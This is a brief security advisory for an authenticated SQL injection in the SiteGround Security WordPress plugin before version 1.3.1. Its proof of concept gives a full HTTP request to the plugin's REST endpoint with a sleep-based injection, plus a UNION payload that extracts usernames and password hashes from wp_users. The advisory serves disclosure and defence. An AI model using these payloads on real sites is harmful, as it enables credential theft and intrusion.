WordPress Plugin Vulnerabilities

SiteGround Security < 1.3.1 - Admin+ SQLi

Description

The plugin does not properly sanitize user input before using it in an SQL query, leading to an authenticated SQL injection issue.

Proof of Concept

1:

POST /wordpress/index.php/wp-json/sg-security/v1/activity-registered HTTP/1.1
Host: YOUR HOST
X-WP-Nonce: YOUR NONCE
Cookie: [Admin+]
Content-Length: 155

{"limitedView":1,"filters":[{"wp_name":"user","children":[{"value":"1-sleep(3); #"}]}]}

2:

Alternate payload for extracting info from the wp_users table;

{"limitedView":1,"filters":[{"wp_name":"user","children":[{"value":"1 UNION SELECT 1,1,1,user_login,user_pass,1,1,1,1,1,1,1 FROM wp_users; #"}]}]}